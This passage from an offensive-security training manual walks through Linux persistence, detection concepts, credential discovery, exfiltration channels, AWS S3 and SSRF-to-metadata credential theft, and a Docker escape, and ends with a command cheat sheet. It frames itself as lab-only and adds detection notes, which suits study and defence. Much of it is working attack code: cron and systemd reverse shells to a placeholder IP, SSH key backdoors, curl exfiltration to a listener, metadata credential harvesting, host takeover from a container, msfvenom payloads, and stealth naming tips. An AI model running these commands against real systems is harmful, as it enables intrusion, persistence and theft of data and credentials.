Step 2. SSH authorized_keys is low-noise: it uses a legitimate protocol and blends with normal admin activity. Add your public key to the target user's .ssh folder.

Step 3. Cron job persistence: a cron entry that calls back to your listener every few minutes ensures access even if SSH keys are rotated.

Step 4. Conceptual awareness: in real engagements, defenders audit both of these locations regularly. More advanced persistence (PAM backdoors, systemd services, LD_PRELOAD) is outside this introductory scenario.

Step 5. Document every backdoor you plant. In ethical engagements, all persistence mechanisms MUST be removed in the cleanup phase and reported.

MINIMAL COMMANDS

```
# Method 1: SSH authorized_keys persistence
# On Kali — generate keypair
ssh-keygen -t ed25519 -f backdoor_key -N ''

# On target (with root or user access)
mkdir -p /root/.ssh && chmod 700 /root/.ssh
echo 'YOUR_PUBLIC_KEY' >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

# Connect silently
ssh -i backdoor_key root@TARGET_IP

# Method 2: Cron job reverse shell
# Add to /etc/crontab (requires root)
echo '*/*5 * * * * root bash -i >& /dev/tcp/YOUR_IP/4444 0>&1' >> /etc/crontab

# Method 3: Systemd service (stealth)
# Create /etc/systemd/system/update-check.service
```

```
# [Service] ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'
```

DECISION POINTS

- SSH key auth not working? Check permissions: .ssh/ must be 700, authorized_keys must be 600, owned by the target user.
- Cron not firing? Ensure crond is running: systemctl status cron. Also verify the cron syntax — the /etc/crontab format requires a username field.
- Firewall blocking outbound connections? Try port 443 or 80 for the reverse shell — these are typically allowed outbound through corporate firewalls.

COMMON MISTAKES

- Not documenting persistence mechanisms. In authorized tests, leaving undocumented backdoors is a serious professional failure and potential legal issue.
- Using easily-detected filenames (backdoor.sh, shell.py). Name files to blend in: update-check, network-monitor, health-check.
- Persistence without stealth: world-readable files or visible cron jobs in obvious locations will be found in the first security review.

DETECTION INSIGHT: SSH: /var/log/auth.log records every SSH login including key fingerprints. Defenders can audit authorized_keys files for unexpected entries. Cron: new entries in /etc/crontab are clearly visible in file integrity monitoring (FIM) tools like AIDE or Tripwire. Systemd service additions generate /var/log/syslog entries. All three methods are trivially detected with standard hardening checklists.

SKILL GAINED: You can establish multiple independent persistence mechanisms on Linux, understand their relative stealth levels, and apply the professional practice of documenting and cleaning up all backdoors — an OSCP exam requirement and professional standard.

DOMAIN: PERSISTENCE & EVASION — Defense Evasion (Awareness)

Scenario 13

Understanding What Triggers Detection: Logs, AV, and EDR Concepts

Environment	Conceptual scenario with practical lab elements Local Kali + Windows VM with Windows Defender enabled TryHackMe: 'Antivirus Evasion' room
Objective	Understand the detection mechanisms that red teamers must account for — not to enable malicious evasion, but to write better assessment reports and build a realistic threat model.

STEP-BY-STEP THOUGHT PROCESS

Step 1. Understand what generates logs: every syscall, network connection, file creation, and process spawn is potentially logged. Know which layer catches each action.

Step 2. AV (signature-based) vs EDR (behavior-based): AV matches known malware signatures. EDR monitors process behavior, API calls, memory patterns, and network connections.

Step 3. Understand what EDR sees: parent-child process relationships, LSASS access, suspicious command-line arguments, hollow process indicators.

Step 4. In a lab context: disable Defender, run your payload, re-enable Defender, run again. Compare what changes. This teaches you what EDR actually catches.

Step 5. Study the MITRE ATT&CK; framework to understand how each technique in this manual maps to a detection. Every red team action has a corresponding defensive control.

MINIMAL COMMANDS

```
# Check what's logged (Linux)
tail -f /var/log/auth.log
tail -f /var/log/syslog
ausearch -c nmap 2>/dev/null # if auditd is running

# Check Windows Event Logs (PowerShell)
Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4688} | Select -First 20
Get-WinEvent -LogName System | Where-Object {$_.Id -eq 7045}

# Check which processes are being monitored
Get-MpPreference | Select ExclusionPath # Defender exclusions

# Verify payload detection (test lab only)
Invoke-WebRequest -Uri http://YOUR_IP/payload.exe -OutFile C:\test\payload.exe

# Observe Defender quarantine vs execution

# MITRE ATT&CK; reference
# attack.mitre.org – look up T1059 (Command Scripting), T1548 (PrivEsc)
```

DECISION POINTS

- Not sure if EDR is running? `tasklist | findstr -i 'crowdstrike falcon sense'` or check running services for known EDR agent names.
- Want to test detection without a real payload? Use the EICAR test string — it triggers AV signatures without being actual malware.
- For deeper understanding: set up a Splunk or ELK lab and pipe Windows events into it. Build correlation rules. This is the fastest way to understand what detection looks like from both sides.

COMMON MISTAKES

- Treating defense evasion as purely offensive knowledge. The real value is understanding what defenders see — this makes you a better tester AND a better security engineer.
- Believing that disabling AV is realistic in real engagements. Modern EDR runs as a protected process — you cannot kill it without a kernel driver exploit.
- Focusing on evasion before mastering the core techniques. Understand what you're trying to hide first, then study how to hide it.

DETECTION INSIGHT: This scenario IS the detection insight. Every technique in this manual generates specific events: process creation (4688), network connections (Sysmon Event 3), file creation (Sysmon Event 11), LSASS access (10). SOC analysts with a well-tuned SIEM and Sysmon deployed will see everything. Advanced evasion requires kernel-level techniques, memory-only payloads, and living-off-the-land binaries (LOLBins) — topics for advanced courses like CRT0.

SKILL GAINED: You understand the detection landscape at a conceptual and practical level, can map your techniques to MITRE ATT&CK, and can write meaningful detection recommendations in your penetration test reports — the skill that differentiates junior from senior testers.

DOMAIN: DATA HANDLING — Data Discovery

Scenario 14

Finding Sensitive Files on a Compromised Host

Environment	Any HTB/THM machine with root or SYSTEM access Local: Ubuntu VM with planted sensitive files in various locations
Objective	Systematically locate sensitive data (credentials, keys, PII, configuration files) on a compromised host to demonstrate the business impact of the compromise.

STEP-BY-STEP THOUGHT PROCESS

Step 1. Data discovery is how you demonstrate the 'blast radius' of a compromise to the client. The goal is to find what an adversary would actually steal.

Step 2. Search by file type first: private keys (.pem, id_rsa), database files (.db, .sqlite), credential files (.env, wp-config.php, .htpasswd).

Step 3. Search by content: grep for keywords like 'password', 'secret', 'api_key', 'token', 'BEGIN RSA' across config files.

Step 4. Check browser-stored credentials, shell history, and recently accessed files — humans are lazy and reuse credentials in predictable locations.

Step 5. Document every sensitive finding with its full path, permissions, and content summary. This becomes the impact section of your report.

MINIMAL COMMANDS

```
# Find common credential file types
find / -name '*.pem' -o -name 'id_rsa' -o -name '*.key' 2>/dev/null
find / -name '.env' -o -name 'wp-config.php' -o -name 'config.php' 2>/dev/null
find / -name '*.db' -o -name '*.sqlite' 2>/dev/null

# Grep for password strings in config files
grep -rn 'password' /etc/ 2>/dev/null | grep -v '^Binary'
grep -rn 'DB_PASS\|DB_USER\|SECRET_KEY' /var/www/ 2>/dev/null

# Shell history – goldmine for credentials
cat ~/.bash_history
cat /root/.bash_history

# Recently accessed files
find / -atime -7 -type f 2>/dev/null | grep -v proc

# SSH keys
find / -name 'authorized_keys' -o -name 'known_hosts' 2>/dev/null
```

DECISION POINTS

- find is slow on large filesystems? Use locate (if the DB is up to date) or restrict your search: `find /home /etc /var/www /opt -name '*.env' 2>/dev/null`
- Grep returning too many results? Add context: `grep -rn 'password' /etc/ -A1` shows one line after each match, making context clear.
- Can't read files due to permissions? Note them anyway — the existence of encrypted credentials is still a finding.

COMMON MISTAKES

- Dumping entire directories unnecessarily — this creates massive disk I/O and access time updates on sensitive files, both visible to FIM systems.
- Not checking shell history — it is consistently one of the highest-value sources of credentials in real engagements.
- Stopping at the host level: credentials found here (database passwords, API keys) may allow access to cloud resources, external services, and other systems.

DETECTION INSIGHT: File access (read operations) update atime timestamps visible to FIM tools like AIDE, Tripwire, and Wazuh. Reading `/etc/shadow` triggers auditd alerts in hardened configurations. Recursive grep across `/etc` and `/var/www` generates hundreds of read syscalls visible in EDR file monitoring. Cloud credentials read from instance metadata services may trigger cloud provider anomaly alerts.

SKILL GAINED: You can systematically locate sensitive data on a compromised host and articulate its business impact — the skill that transforms a technical exploit demonstration into a meaningful security assessment finding.

DOMAIN: DATA HANDLING — Data Exfiltration (Conceptual)

Scenario 15

Understanding Exfiltration Channels and Detection Concepts

Environment	Conceptual scenario with lab-safe demonstrations Local VM only TryHackMe: 'Exfiltration' room
Objective	Understand the channels an adversary might use to extract data from a compromised network and what defenders do to detect and prevent each channel.

STEP-BY-STEP THOUGHT PROCESS

Step 1. Exfiltration is the act of moving data from the compromised environment to attacker-controlled infrastructure. It is the final stage that creates the tangible impact of a breach.

Step 2. Understand the primary channels: HTTP/S (blends with normal traffic), DNS (often unmonitored, encodes data in DNS queries), ICMP (covert, often allowed), and cloud storage services (Dropbox, S3 — trusted destinations).

Step 3. In a lab, test HTTP-based exfil: simple curl or wget to a listener. This is the baseline most monitoring tools are tuned to catch.

Step 4. Conceptually understand DNS exfiltration: tools like iodine or dnscat2 encode file data into DNS query subdomains. A full file traverses DNS infrastructure that many organizations do not monitor.

Step 5. The key lesson: what a defender monitors determines what channel an attacker will use. Your report should assess what channels the organization is blind to.

MINIMAL COMMANDS

```
# Lab-safe: exfil a text file via HTTP to local Kali listener
# On Kali – start listener
python3 -m http.server 8080

# On target (lab VM only)
curl -X POST http://YOUR_KALI_IP:8080/upload --data-binary @/tmp/test.txt

# Base64 encode for encoding bypass
base64 /tmp/test.txt | curl -X POST http://YOUR_IP:8080/ -d @-

# Conceptual: DNS exfiltration (awareness only)
# Data is split into subdomains: abc123.attacker-c2.com
# Tools: dnscat2, iodine (lab use only)

# Conceptual: ICMP exfil awareness
# ping -p (payload flag on some implementations)
# Tool: ptunnel, icmpsh (lab only)
```

DECISION POINTS

- DNS exfil slow? DNS records are typically under 255 characters. Large files require many queries and take significant time — practical only for small high-value data (credentials, keys).
- HTTPS traffic monitored via SSL inspection? Use certificate pinning or domain fronting concepts — these are advanced topics in CRT0/Cрте courses.
- For report writing: always include the estimated data volume an attacker could exfiltrate via each channel before detection.

COMMON MISTAKES

- Treating exfiltration as an afterthought — in real engagements, DLP controls may catch large data transfers even when the initial access and PrivEsc succeed.
- Only considering HTTP — DNS is systematically under-monitored and represents a critical blind spot in most organizational security programs.
- Not testing exfil controls during an engagement — if the scope allows it, test whether DLP tools actually block sensitive data transfers.

DETECTION INSIGHT: HTTP: Web proxies, DLP tools, and SIEM rules flag large POST requests and connections to uncategorized domains. DNS: Unusually long subdomain queries and high query volumes to a single external domain are detected by DNS security tools (Cisco Umbrella, Infoblox). ICMP: Anomalously large ICMP payloads and sustained ICMP traffic are flagged by stateful firewalls and network anomaly detection. Cloud storage: CASB tools (Netskope, ZScaler) monitor uploads to personal cloud storage accounts.

SKILL GAINED: You understand the primary data exfiltration channels, their relative detectability, and how to assess an organization's blind spots — the knowledge needed to write meaningful exfiltration risk findings in professional assessment reports.

DOMAIN: MODERN ENVIRONMENTS — Cloud Security Basics (AWS)

Scenario 16

Exploiting a Public S3 Bucket Misconfiguration and SSRF to EC2 Metadata

Environment	TryHackMe: 'AWS' or 'Cloud Goat' (Rhino Security) LocalStack on Kali AWS Free Tier account (your own) for safe practice
Objective	Discover publicly accessible S3 bucket data and demonstrate how SSRF on a cloud instance can expose IAM credentials via the metadata service.

STEP-BY-STEP THOUGHT PROCESS

Step 1. Cloud misconfigurations differ from traditional exploits: the 'vulnerability' is often a policy setting, not a software bug. Read IAM policies carefully.

Step 2. S3 bucket enumeration: many organizations expose data via publicly accessible buckets. The bucket naming convention (company-backup, company-dev) is predictable.

Step 3. The EC2 Instance Metadata Service (IMDS) at 169.254.169.254 provides credentials to any code running on the instance. An SSRF vulnerability on the web application can fetch this URL, leaking IAM role credentials.

Step 4. With leaked IAM credentials, enumerate what permissions are attached. Misconfigured roles with AdministratorAccess are a complete cloud compromise.

Step 5. Understand the IMDSv2 defense: SSRF-resistant metadata service requiring a PUT request to get a session token first. Check if it is enforced.

MINIMAL COMMANDS

```
# S3 bucket discovery and enumeration
aws s3 ls s3://target-company-backup --no-sign-request
aws s3 ls s3://target-company-dev --no-sign-request

# Download bucket contents
aws s3 sync s3://target-bucket . --no-sign-request

# SSRF to IMDS (from vulnerable web app – lab only)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

# Configure harvested IAM creds
aws configure

# Enter AccessKeyId, SecretAccessKey, SessionToken

# Enumerate permissions
aws sts get-caller-identity
```

```
aws iam list-attached-user-policies --user-name current-user  
aws s3 ls  
aws ec2 describe-instances
```

DECISION POINTS

- Access denied on S3? The bucket might exist but block anonymous access. Try with configured credentials if you have any from another source.
- SSRF blocked? Modern applications often whitelist allowed SSRF destinations. Try alternative IMDS addresses: `http://[fd00:ec2::254]` (IPv6 link-local).
- IAM creds expire quickly? SessionToken credentials from IMDS rotate every few hours. Document findings immediately and work quickly.

COMMON MISTAKES

- Not checking for IMDSv2 enforcement — if it is enforced, a simple GET request to 169.254.169.254 will fail. The attack requires sending a PUT first to get a token, making many SSRF vulnerabilities unable to exploit IMDS.
- Assuming public S3 buckets mean full read access — some are list-only, some are write-only (for log collection). Check actual permissions explicitly.
- Not understanding IAM policy evaluation logic: Deny always overrides Allow, and resource-based policies combine with identity-based policies.

DETECTION INSIGHT: AWS CloudTrail logs every API call: ListBuckets, GetObject, GetCallerIdentity, DescribeInstances. Accessing IMDS from an EC2 instance is logged in instance-level logs. Unusual IAM API calls from new source IPs trigger AWS GuardDuty alerts. S3 access logs record all GetObject requests with source IP. Using leaked credentials from a new IP/region immediately triggers GuardDuty 'UnauthorizedAccess:IAMUser' findings.

SKILL GAINED: You understand the two most common cloud-native attack vectors — S3 misconfiguration and SSRF-to-IMDS credential theft — and the AWS services that defend against them. Foundation for AWS Security Specialty and cloud-focused red team engagements.

DOMAIN: MODERN ENVIRONMENTS — Containers (Docker / Kubernetes)

Scenario 17

Docker Escape via Privileged Container and Host Mount

Environment	HTB: 'Bashed' or any Docker-themed challenge TryHackMe: 'Intro to Docker' Local: Docker installed on Ubuntu VM — run a privileged container intentionally
Objective	Identify when you are inside a Docker container, exploit a privileged container configuration to escape to the host filesystem, and understand the Kubernetes RBAC attack surface conceptually.

STEP-BY-STEP THOUGHT PROCESS

Step 1. Detecting container context: in CTFs and real engagements, you may land in a container without knowing it. Check for container indicators.

Step 2. The `--privileged` flag is the most dangerous Docker misconfiguration. A privileged container has access to all host devices and can mount the host filesystem directly.

Step 3. Container escape via privileged access: mount the host root filesystem into the container and read/write host files including `/etc/shadow` and SSH keys.

Step 4. Kubernetes RBAC concept: in Kubernetes clusters, a pod with an overly permissive ServiceAccount can interact with the Kubernetes API server, creating new pods or reading secrets across namespaces.

Step 5. The key lesson: container security is about configuration, not just the container runtime. Privileged containers, host mounts, and excessive RBAC permissions are all policy failures.

MINIMAL COMMANDS

```
# Detect container environment
cat /proc/1/cgroup | grep docker
ls /.dockerenv
env | grep KUBERNETES

# Check if privileged
cat /proc/self/status | grep CapEff
# Full capability = 0000003fffffffff = privileged

# Privileged escape via device mount
fdisk -l # Find host disk
mkdir /mnt/host
mount /dev/sda1 /mnt/host
ls /mnt/host # This is the HOST filesystem

# Read host shadow file
cat /mnt/host/etc/shadow
```

```
# Add SSH key to host root
echo 'YOUR_PUB_KEY' >> /mnt/host/root/.ssh/authorized_keys

# Kubernetes: check service account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
curl -k https://kubernetes.default/api/v1/namespaces --header 'Authorization: Bearer TOKEN'
```

DECISION POINTS

- Not privileged? Check for other escape vectors: mounted Docker socket (/var/run/docker.sock), dangerous capabilities (CAP_SYS_ADMIN), or sensitive host path mounts (/etc, /proc, /sys).
- fdisk can't find host disk? Try: ls /dev/sd* — or use the host /proc/mounts to identify what host paths are mounted into the container.
- Kubernetes service account has limited permissions? Enumerate cluster roles: kubectl auth can-i --list (if kubectl is available in the pod).

COMMON MISTAKES

- Assuming containers are isolated by default — they are only as isolated as their configuration. A privileged container is functionally equivalent to root on the host.
- Not checking for Docker socket mounts: access to /var/run/docker.sock allows spawning new privileged containers, achieving the same escape.
- Overlooking Kubernetes secrets: Kubernetes secrets are base64-encoded (not encrypted by default) and accessible to pods with appropriate RBAC permissions.

DETECTION INSIGHT: Container escapes via privileged mode generate no container-level logs — the escape happens through the kernel. Host-level monitoring (auditd, Falco) can detect anomalous device mounts and unexpected file access patterns from container PIDs. Kubernetes Audit Logs capture API server calls. Falco (cloud-native runtime security) has rules specifically for container escape patterns: privilege escalation from container processes, unexpected kernel module loading, and anomalous network calls.

SKILL GAINED: You can identify container environments, detect privileged misconfigurations, execute a container escape to the host filesystem, and understand Kubernetes attack surface at an introductory level — essential for modern cloud-native red team work.

APPENDIX: Quick Reference Command Sheet

Recon & OSINT

```
theHarvester -d target.com -b all
whois target.com
amass enum -passive -d target.com
shodan search 'hostname:target.com'
```

Scanning

```
nmap -sC -sV -oA scan target_ip
nmap -p- --min-rate 5000 target_ip
gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt
nikto -h http://target
```

Web Exploitation

```
sqlmap -u 'http://target/page?id=1' --dbs
ffuf -u http://target/FUZZ -w wordlist.txt
# Check response codes, lengths, redirect chains
```

Initial Access

```
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f elf -o shell.elf
nc -lvnp 4444
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

Linux PrivEsc

```
sudo -l
find / -perm -4000 2>/dev/null
cat /etc/crontab
linpeas.sh
```

Windows PrivEsc

```
whoami /priv
systeminfo | findstr /B /C:'OS' /C:'Hotfix'
.\winPEASx64.exe
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

Lateral Movement

```
crackmapexec smb 10.10.10.0/24 -u user -p pass
impacket-psexec domain/user:pass@target_ip
ssh -i id_rsa user@target_ip
```

AD Enumeration

```
bloodhound-python -u user -p pass -d domain.local -ns DC_IP -c All  
Get-ADUser -Filter * | Select Name, SamAccountName  
ldapsearch -x -H ldap://DC_IP -b 'DC=domain,DC=local'
```

Kerberoasting

```
impacket-GetUserSPNs domain.local/user:pass -dc-ip DC_IP -request  
hashcat -m 13100 hashes.txt rockyou.txt
```

Cloud (AWS)

```
aws s3 ls s3://bucket-name --no-sign-request  
aws sts get-caller-identity  
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
```